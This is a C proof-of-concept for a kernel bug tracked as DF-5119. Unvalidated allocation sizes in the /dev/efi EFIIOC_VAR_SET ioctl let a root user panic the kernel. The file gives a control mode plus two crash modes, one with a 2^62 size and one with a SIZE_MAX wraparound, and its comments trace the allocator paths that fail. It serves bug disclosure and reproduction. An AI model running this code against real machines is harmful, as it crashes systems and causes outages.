DF-5119 / efi_sz.c
/* * DF-5119 PoC — unvalidated user-controlled allocation sizes in * /dev/efi EFIIOC_VAR_* ioctls (sys/dev/misc/efirt/efidev.c). * * efidev_ioctl() passes user-supplied ev->datasize / ev->namesize straight * to kmalloc(..., M_TEMP, M_WAITOK): * * line 105: data = kmalloc(ev->datasize, M_TEMP, M_WAITOK); (VAR_GET) * line 106: name = kmalloc(ev->namesize, M_TEMP, M_WAITOK); (VAR_GET) * line 140: name = kmalloc(ev->namesize, M_TEMP, M_WAITOK); (VAR_NEXT) * line 165: data = kmalloc(ev->datasize, M_TEMP, M_WAITOK); (VAR_SET) * line 166: name = kmalloc(ev->namesize, M_TEMP, M_WAITOK); (VAR_SET) * * Mode 1 (huge, non-wrapping size): * kmalloc(2^62) -> _kmalloc() large-allocation path * (sys/kern/kern_slaballoc.c:942) -> kmem_slab_alloc() -> * vm_map_findspace() fails -> panic("kmem_slab_alloc(): kernel_map ran * out of space!") because M_WAITOK was given without M_NULLOK * (sys/kern/kern_slaballoc.c:1721-1724). * * Mode 2 (size near SIZE_MAX): * round_page(0xFFFFFFFFFFFFFFFF) wraps to 0 (kern_slaballoc.c:945), * kmem_slab_alloc(0) returns a valid KVA with zero pages mapped and * *kup = 0 is stored (kern_slaballoc.c:953-954). copyin() then returns * EFAULT, and kfree(data) (efidev.c:184) misclassifies the pointer: * *kup == 0 is not > 0, so _kfree() takes the SLZone path * (kern_slaballoc.c:1475-1478) on an unmapped, zone-less pointer -> * KKASSERT failure / unmapped kernel read -> fatal trap. * * Mode 0 (control): sane sizes -> on a BIOS-booted box the ioctl reaches * efi_enter() which returns ENXIO; no panic. Proves the panic is caused * solely by the unvalidated size. * * The kmallocs happen BEFORE any EFI runtime call, so the bug is reachable * on BIOS-booted machines too (only needs `kldload efirt`, which creates * /dev/efi via the efidev module even though efirt's own init fails). * * Requires: root (device is 0700 root:wheel). * * build: cc -O -o efi_sz efi_sz.c * run: ./efi_sz <mode> */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/efiio.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { struct efi_var_ioc ev; uint16_t name[2] = { 0, 0 }; /* "" NUL-terminated wide name */ char data[4] = "AAAA"; int fd, rc, mode; if (argc != 2) { fprintf(stderr, "usage: %s <mode 0|1|2>\n", argv[0]); return (2); } mode = atoi(argv[1]); fd = open("/dev/efi", O_RDWR); if (fd < 0) { perror("open /dev/efi"); return (1); } memset(&ev, 0, sizeof(ev)); ev.name = name; ev.namesize = sizeof(name); /* 4 bytes, valid & NUL-terminated */ ev.data = data; ev.datasize = sizeof(data); ev.attrib = 0; switch (mode) { case 0: break; /* sane control */ case 1: ev.datasize = 0x4000000000000000UL; /* 2^62: direct panic */ break; case 2: ev.datasize = (size_t)-1; /* wraps round_page() to 0 */ break; default: fprintf(stderr, "bad mode\n"); return (2); } printf("mode=%d datasize=0x%llx namesize=0x%zx -> ioctl" " (EFIIOC_VAR_SET)...\n", mode, (unsigned long long)ev.datasize, ev.namesize); fflush(stdout); rc = ioctl(fd, EFIIOC_VAR_SET, &ev); printf("ioctl rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); return (rc == 0 ? 0 : 1); } |